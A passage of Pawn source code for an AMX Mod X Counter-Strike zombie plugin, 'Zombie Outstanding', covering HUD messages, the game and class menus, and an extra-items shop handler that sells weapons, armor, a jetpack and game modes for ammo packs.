else
{
AddCommas(get_health(iTask + -300), cHealth, 14);
AddCommas(g_iPacks[iTask + -300], cPacks, 14);
AddCommas(g_iPoints[iTask + -300], cPoints, 14);
new color3;
if (g_bZombie[iTask + -300])
{
color3 = 60;
}
else
{
color3 = 180;
}
new color4;
if (g_bZombie[iTask + -300])
{
color4 = 135;
}
else
{
color4 = 120;
}
new color5;
if (g_bZombie[iTask + -300])
{
color5 = 180;
}
else
{
color5 = 0;
}
set_hudmessage(color5, color4, color3, 0.02, 0.90, 0, 6.00, 1.10, 0.00, 0.00, -1);
ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "%s, Health: %s Armor: %d Packs: %s Points: %s", g_cClass[iTask + -300], cHealth, get_armor(iTask + -300), cPacks, cPoints);
}
return 0;
}
public TaskFlash(iTask)
{
flash(iTask + -350);
return 0;
}
public _GameMenu(iPlayer, iMenu, iItem)
{
if (iItem != -3 && g_bConnected[iPlayer])
{
static iChoice;
static iDummy;
static cBuffer[3];
menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
iChoice = str_to_num(cBuffer);
switch (iChoice)
{
case 0:
{
if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer])
{
static cNumber[3];
static cLine[128];
static i;
g_iMenuExtraItems = menu_create("Extra Items", "_ExtraItems", 0);
i = 0;
while (i < 25)
{
if (g_iExtraItemsTeams[i] == 1 && !g_bZombie[iPlayer])
{
}
else
{
if (!(g_bZombie[iPlayer] && g_iExtraItemsTeams[i] == 2))
{
formatex(cLine, 128, "%s %s", g_cExtraItems[i], g_cExtraItemsPrices[i]);
num_to_str(i, cNumber, 3);
menu_additem(g_iMenuExtraItems, cLine, cNumber, 0, -1);
}
}
i += 1;
}
menu_display(iPlayer, g_iMenuExtraItems, 0);
}
else
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Extra items are unavailable right now...");
}
}
case 1:
{
menu_display(iPlayer, g_iMenuZombieClasses, 0);
}
case 2:
{
static cNumber[3];
static cLine[128];
static i;
g_iShopMenu = menu_create("Shop Menu", "_ShopMenu", 0);
i = 0;
while (i < 8)
{
if (g_iShopItemsTeams[i] == 2 && g_bZombie[iPlayer])
{
}
else
{
formatex(cLine, 128, "%s %s", g_cShopItems[i], g_cShopItemsPrices[i]);
num_to_str(i, cNumber, 3);
menu_additem(g_iShopMenu, cLine, cNumber, 0, -1);
}
i += 1;
}
menu_display(iPlayer, g_iShopMenu, 0);
}
case 3:
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You are dead or your are not stuck...");
}
case 4:
{
static Float:fGameTime;
static cPlayer[3];
num_to_str(iPlayer, cPlayer, 3);
fGameTime = get_gametime();
if (!g_bEnded && g_bRanked[iPlayer] && floatsub(fGameTime, g_fLastRankQuery) >= 3.0)
{
formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
SQL_ThreadQuery(g_hSQLTuple, "SQLGetRank", g_cQuery, cPlayer, 3);
g_fLastRankQuery = fGameTime;
}
}
case 5:
{
show_motd(iPlayer, "http://csaddicted.com/rank/index.php", "Player Rankings");
}
default:
{
}
}
}
return 0;
}
public _ZombieClasses(iPlayer, iMenu, iItem)
{
if (iItem != -3 && g_bConnected[iPlayer])
{
static iChoice;
static iDummy;
static cBuffer[15];
menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
iChoice = str_to_num(cBuffer);
g_iZombieNextClass[iPlayer] = iChoice;
AddCommas(g_iZombieHealths[iChoice], cBuffer, 14);
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You will be^4 %s^1 after the next infection!", g_cZombieClasses[iChoice]);
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Health:^4 %s^1 | Speed:^4 %0.0f^1 | Gravity:^4 %0.0f^1 | Knockback:^4 %0.0f%s", cBuffer, g_fZombieSpeeds[iChoice], floatmul(100.0, g_fZombieGravities[iChoice]), floatmul(100.0, g_fZombieKnockbacks[iChoice]), "%");
}
return 0;
}
public _ExtraItems(iPlayer, iMenu, iItem)
{
if (g_fLastQuery < 99999.0 && g_bAlive[iPlayer] && iItem != -3 && !g_iPlayerType[iPlayer])
{
static iChoice;
static iDummy;
static cBuffer[3];
menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
iChoice = str_to_num(cBuffer);
switch (iChoice)
{
case 0:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 128 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || GetZombies() == 1 || !GetHumans())
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't buy this item right now!");
return 0;
}
MakeHuman(iPlayer, false, false);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
}
case 1:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
if (user_has_weapon(iPlayer, 4, -1))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
}
else
{
give_item(iPlayer, "weapon_hegrenade");
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Fire Grenade!");
}
}
case 2:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
if (user_has_weapon(iPlayer, 25, -1))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
}
else
{
give_item(iPlayer, "weapon_flashbang");
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Freeze Grenade!");
}
}
case 3:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
if (user_has_weapon(iPlayer, 9, -1))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
}
else
{
give_item(iPlayer, "weapon_smokegrenade");
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Explosion Grenade!");
}
}
case 4:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetHumans())
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't buy this item right now!");
return 0;
}
if (user_has_weapon(iPlayer, 4, -1))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
}
else
{
give_item(iPlayer, "weapon_hegrenade");
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Infection Grenade!");
}
}
case 5:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetZombies())
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't buy this item right now!");
return 0;
}
if (user_has_weapon(iPlayer, 4, -1))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one! [ Use your^3 Fire Grenade^1 before ]");
}
else
{
g_bKilling[iPlayer] = true;
give_item(iPlayer, "weapon_hegrenade");
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought a Killing Grenade!", g_cName[iPlayer]);
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought a^4 Killing Grenade", g_cName[iPlayer]);
}
}
case 6:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
if (user_has_weapon(iPlayer, 20, -1))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
}
else
{
drop_weapons(iPlayer, 1)
give_item(iPlayer, "weapon_m249");
cs_set_user_bpammo(iPlayer, 20, 9999);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an M249 Machine Gun!");
}
}
case 7:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
if (user_has_weapon(iPlayer, 24, -1))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
}
else
{
drop_weapons(iPlayer, 1)
give_item(iPlayer, "weapon_g3sg1");
cs_set_user_bpammo(iPlayer, 24, 9999);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a G3SG1 Auto Sniper!");
}
}
case 8:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
if (user_has_weapon(iPlayer, 13, -1))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
}
else
{
drop_weapons(iPlayer, 1)
give_item(iPlayer, "weapon_sg550");
cs_set_user_bpammo(iPlayer, 13, 9999);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a SG550 Auto Sniper!");
}
}
case 9:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
if (user_has_weapon(iPlayer, 18, -1))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
}
else
{
drop_weapons(iPlayer, 1)
give_item(iPlayer, "weapon_awp");
cs_set_user_bpammo(iPlayer, 18, 9999);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an AWP Sniper Rifle!");
}
}
case 10:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
if (g_bFlash[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
}
else
{
g_bFlashEnabled[iPlayer] = true;
g_bFlash[iPlayer] = true;
remove_task(iPlayer + 350, 0);
set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Nightvision Googles!");
}
}
case 11:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
if (g_bNoDamage[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
}
else
{
g_bNoDamage[iPlayer] = true;
client_cmd(iPlayer, "spk ZombieOutstanding/zombie_madness");
fm_set_rendering ( iPlayer, kRenderFxGlowShell, 250, 0 , 0, kRenderNormal, 62 );
set_task(4.0, "TaskRemoveMadness", iPlayer, "", 0, "", 0);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Zombie Madness!", g_cName[iPlayer]);
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Zombie Madness", g_cName[iPlayer]);
}
}
case 12:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
if (get_user_jetpack(iPlayer))
{
user_drop_jetpack(iPlayer, 1);
}
set_user_jetpack(iPlayer, 1);
set_user_fuel(iPlayer, 250.0);
client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Press^3 CTR+SPACE^1 to fly!");
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Press^3 RIGHT CLICK^1 to shoot!");
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought a Jetpack!", g_cName[iPlayer]);
}
case 13:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
if (g_bUnlimitedClip[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
}
else
{
g_bUnlimitedClip[iPlayer] = 1;
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Unlimited Clip!");
}
}
case 14:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
if (120 < get_user_armor(iPlayer))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
}
else
{
set_user_armor(iPlayer, get_user_armor(iPlayer) + 100);
client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (100ap)");
}
}
case 15:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
if (120 < get_user_armor(iPlayer))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
}
else
{
set_user_armor(iPlayer, get_user_armor(iPlayer) + 200);
client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (200ap)");
}
}
case 16:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
g_iMaxJumps[iPlayer]++;
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "Now you can do %d jumps in a row!", g_iMaxJumps[iPlayer] + 1);
}
case 17:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
if (g_bTryder[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
}
else
{
g_bTryder[iPlayer] = true;
strip_user_weapons(iPlayer);
set_user_armor(iPlayer, 666);
set_user_health(iPlayer, 666);
give_item(iPlayer, "weapon_knife");
give_item(iPlayer, "weapon_deagle");
give_item(iPlayer, "weapon_xm1014");
give_item(iPlayer, "weapon_g3sg1");
give_item(iPlayer, "weapon_ak47");
give_item(iPlayer, "weapon_hegrenade");
give_item(iPlayer, "weapon_flashbang");
give_item(iPlayer, "weapon_smokegrenade");
cs_set_user_bpammo(iPlayer, 26, 9999);
cs_set_user_bpammo(iPlayer, 5, 9999);
cs_set_user_bpammo(iPlayer, 24, 9999);
cs_set_user_bpammo(iPlayer, 28, 9999);
g_bUnlimitedClip[iPlayer] = 1;
set_glow(iPlayer, 19, 60, 155, 48, 255);
client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
ExecuteHamB(Ham_Item_PreFrame, iPlayer);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(190, 55, 115, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s is now a Tryder!", g_cName[iPlayer]);
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 is now a^4 Tryder", g_cName[iPlayer]);
}
}
case 18:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
if (g_bGolden[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
}
else
{
g_bGolden[iPlayer] = true;
if (60 > get_user_armor(iPlayer))
{
set_user_armor(iPlayer, 60);
}
if (175 > get_user_health(iPlayer))
{
set_user_health(iPlayer, 175);
}
if (!user_has_weapon(iPlayer, 28, -1))
{
give_item(iPlayer, "weapon_ak47");
cs_set_user_bpammo(iPlayer, 28, 9999);
}
g_bUnlimitedClip[iPlayer] = 1;
client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
client_cmd(iPlayer, "weapon_ak47");
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s has now a Golden Kalashnikov (AK-47)", g_cName[iPlayer]);
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 has now a^4 Golden Kalashnikov^3 (AK-47)", g_cName[iPlayer]);
}
}
case 19:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
return 0;
}
if (g_bGoldenDeagle[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
}
else
{
g_bGoldenDeagle[iPlayer] = true;
if (60 > get_user_armor(iPlayer))
{
set_user_armor(iPlayer, 60);
}
if (175 > get_user_health(iPlayer))
{
set_user_health(iPlayer, 175);
}
if (!user_has_weapon(iPlayer, 26, -1))
{
give_item(iPlayer, "weapon_deagle");
cs_set_user_bpammo(iPlayer, 26, 9999);
}
g_bUnlimitedClip[iPlayer] = 1;
client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
client_cmd(iPlayer, "weapon_deagle");
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s has now a Golden Desert Eagle (Night Hawk)", g_cName[iPlayer]);
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 has now a^4 Golden Desert Eagle^3 (Night Hawk)", g_cName[iPlayer]);
}
}
case 20:
{
if (g_iSurvivors)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 There already was a survivor this map!");
return 0;
}
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
return 0;
}
static cTime[3];
static i;
static bool:bDone;
static Float:fGameTime;
fGameTime = get_gametime();
bDone = true;
get_time("%H", cTime, 3);
i = 0;
while (i < g_iModeRecordings)
{
if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
{
bDone = false;
}
i += 1;
}
if (!bDone)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
}
else
{
if (fGameTime - g_fRoundStartTime < 3.0)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
}
if (cTime[0] == 48)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't be^3 Survivor^1 during night...");
}
if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
{
g_bRoundStart = false;
remove_task(550, 0);
StartSurvivorMode(iPlayer);
remove_task(700, 0);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Survivor!", g_cName[iPlayer]);
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Survivor", g_cName[iPlayer]);
copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
g_iModeRecordings += 1;
g_iSurvivors += 1;
}
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
}
}
case 21:
{
if (g_iSnipers)
{
client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 There already was a sniper this map!");
return 0;
}
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
